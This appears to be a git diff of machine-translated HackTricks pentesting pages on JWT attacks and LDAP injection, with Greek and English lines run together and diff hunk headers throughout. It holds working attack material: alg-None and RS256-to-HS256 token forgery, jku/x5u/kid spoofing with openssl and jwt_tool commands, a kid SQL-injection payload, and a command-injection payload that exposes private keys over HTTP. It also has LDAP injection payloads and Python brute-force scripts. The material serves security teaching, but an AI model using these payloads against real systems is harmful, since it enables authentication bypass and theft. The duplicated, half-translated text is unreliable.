Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να ορίσετε την τιμή του πεδίου "Alg" σε "None"). Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None").
### Αλλαγή του αλγορίθμου RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555) ### Αλλαγή του αλγορίθμου RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\ Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.\
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση. Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κωδικός του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή. Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό: Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό:
```bash ```bash
@ -89,18 +89,18 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
``` ```
### Νέο δημόσιο κλειδί μέσα στην κεφαλίδα ### Νέο δημόσιο κλειδί μέσα στην κεφαλίδα
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του token και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114). Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του διακριτικού και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).
Αυτό μπορεί να γίνει με την επέκταση "JSON Web Tokens" του Burp.\ Αυτό μπορεί να γίνει με την επέκταση "JSON Web Tokens" του Burp.\
(Στείλτε το αίτημα στον Repeater, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα). (Στείλτε το αίτημα στον Επαναλήπτη, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).
### JWKS Spoofing ### JWKS Spoofing
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT tokens, ιδιαίτερα αυτών που χρησιμοποιούν μια δήλωση κεφαλίδας "jku". Αυτή η δήλωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του token. Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT διακριτικών, ιδιαίτερα αυτών που χρησιμοποιούν μια δήλωση κεφαλίδας "jku". Αυτή η δήλωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του διακριτικού.
* **Αξιολόγηση Tokens με "jku" Κεφαλίδα**: * **Αξιολόγηση Διακριτικών με Κεφαλίδα "jku"**:
* Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS. * Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
* Τροποποιήστε την τιμή "jku" του token για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης. * Τροποποιήστε την τιμή "jku" του διακριτικού για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης.
* **Παρακολούθηση για HTTP Αλληλεπίδραση**: * **Παρακολούθηση για HTTP Αλληλεπίδραση**:
* Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο. * Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο.
* Όταν χρησιμοποιείτε το `jwt_tool` για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείο `jwtconf.ini` με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή. * Όταν χρησιμοποιείτε το `jwt_tool` για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείο `jwtconf.ini` με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή.
@ -113,7 +113,7 @@ python3 jwt_tool.py JWT_HERE -X s
### Επισκόπηση Θεμάτων Kid ### Επισκόπηση Θεμάτων Kid
Μια προαιρετική δήλωση κεφαλίδας γνωστή ως `kid` χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής token. Αυτή η δήλωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός token. Μια προαιρετική δήλωση κεφαλίδας γνωστή ως `kid` χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής διακριτικών. Αυτή η δήλωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός διακριτικού.
#### Αποκάλυψη Κλειδιού μέσω "kid" #### Αποκάλυψη Κλειδιού μέσω "kid"
@ -125,30 +125,30 @@ python3 jwt_tool.py JWT_HERE -X s
```bash ```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
``` ```
Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο `/proc/sys/kernel/randomize_va_space` σε συστήματα Linux, γνωστό ότι περιέχει την τιμή **2**, μπορεί να χρησιμοποιηθεί στην παράμετρο `kid` με **2** ως το συμμετρικό κλειδί για τη δημιουργία JWT. By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
#### SQL Injection μέσω "kid" #### SQL Injection via "kid"
Εάν το περιεχόμενο της δήλωσης `kid` χρησιμοποιείται για την ανάκτηση ενός κωδικού πρόσβασης από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του `kid`. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής JWT περιλαμβάνει: If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
`non-existent-index' UNION SELECT 'ATTACKER';-- -` `non-existent-index' UNION SELECT 'ATTACKER';-- -`
Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, `ATTACKER`, για την υπογραφή JWT. This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection μέσω "kid" #### OS Injection through "kid"
Ένα σενάριο όπου η παράμετρος `kid` καθορίζει μια διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Remote Code Execution (RCE). Με την έγχυση εντολών στην παράμετρο `kid`, είναι δυνατόν να εκτεθούν ιδιωτικά κλειδιά. Ένα παράδειγμα payload για την επίτευξη RCE και έκθεσης κλειδιών είναι: A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u και jku ### x5u and jku
#### jku #### jku
jku σημαίνει **JWK Set URL**.\ jku stands for **JWK Set URL**.\
Εάν το token χρησιμοποιεί μια δήλωση “**jku**” **Header**, τότε **ελέγξτε τη διεύθυνση URL που παρέχεται**. Αυτή θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση. If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά. First you need to create a new certificate with new private & public keys.
```bash ```bash
openssl genrsa -out keypair.pem 2048 openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -167,11 +167,11 @@ print("e:", hex(key.e))
``` ```
#### x5u #### x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών. X.509 URL. Μια URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών.
Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί κάποια αίτηση. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**. Δοκιμάστε να **αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας** και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, **θα μπορούσατε να παραποιήσετε το JWT**.
Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξαγάγετε τα δημόσια και ιδιωτικά κλειδιά: Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
```bash ```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@ -188,7 +188,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
![](<../.gitbook/assets/image (1119).png>) ![](<../.gitbook/assets/image (1119).png>)
Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γινόταν αποδεκτό από τον διακομιστή. Εάν ο επιτιθέμενος **δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό** και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t τότε ουσιαστικά το πλαστό token θα γινόταν αποδεκτό από τον διακομιστή.
```bash ```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text openssl x509 -in attacker.crt -text
@ -225,7 +225,7 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16)); console.log('Parameter e: ', publicComponents.e.toString(16));
``` ```
Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e", μπορείτε να χρησιμοποιήσετε το [jwt.io](https://jwt.io) για να πλαστογραφήσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία. Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e" μπορείτε να χρησιμοποιήσετε [jwt.io](https://jwt.io) για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία.
### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce ### ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce
@ -235,7 +235,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
### JTI (JWT ID) ### JTI (JWT ID)
Η αξίωση JTI (JWT ID) παρέχει έναν μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτρέψει την επανάληψη του token.\ Η αξίωση JTI (JWT ID) παρέχει έναν μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτραπεί η επανάληψη του token.\
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να **επανεκτελέσετε μια αίτηση** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης). Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να **επανεκτελέσετε μια αίτηση** (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
### JWT Καταχωρημένες αξιώσεις ### JWT Καταχωρημένες αξιώσεις
@ -246,23 +246,23 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
**Επιθέσεις Διασύνδεσης Υπηρεσιών** **Επιθέσεις Διασύνδεσης Υπηρεσιών**
Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής για έναν λογαριασμό σε έναν άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/ηλεκτρονικό ταχυδρομείο. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια να επαναληφθεί το αποκτηθέν token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό. Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής για έναν λογαριασμό σε έναν άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.
* Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την πλαστογράφηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή. * Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή.
**Έλεγχος Λήξης Tokens** **Έλεγχος Λήξης Tokens**
Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη ενός άλλου χρήστη JWT θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσει μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool. Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη ενός άλλου χρήστη JWT θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι χρονικοί περιορισμοί δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.
* Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει. * Ένας κίνδυνος ασφάλειας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει.
### Εργαλεία ### Εργαλεία
{% embed url="https://github.com/ticarpi/jwt_tool" %} {% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_). Εάν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -3,8 +3,8 @@
## LDAP Injection ## LDAP Injection
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -17,9 +17,9 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκευτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -37,7 +37,7 @@
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Φίλτρο** = ( filtercomp )\ **Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\ **Filtercomp** = and / or / not / item\
**And** = & filterlist\ **And** = & filterlist\
**Or** = |filterlist\ **Or** = |filterlist\
@ -138,7 +138,7 @@ password=any
### Blind LDAP Injection ### Blind LDAP Injection
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection: Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
```bash ```bash
#This will result on True, so some information will be shown #This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void Payload: *)(objectClass=*))(&objectClass=void
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
``` ```
#### Dump data #### Dump data
Μπορείτε να επαναλάβετε τα ascii γράμματα, ψηφία και σύμβολα: Μπορείτε να επαναλάβετε τα γράμματα ascii, τους ψηφιακούς χαρακτήρες και τα σύμβολα:
```bash ```bash
(&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=A*)) : KO
@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **Ανακάλυψη έγκυρων πεδίων LDAP** #### **Ανακάλυψη έγκυρων πεδίων LDAP**
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
import requests import requests
@ -199,7 +199,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True finish = True
print() print()
``` ```
#### **Ειδική Τυφλή LDAP Εισαγωγή (χωρίς "\*")** #### **Ειδική Τυφλή LDAP Injection (χωρίς "\*")**
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
@ -224,9 +224,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
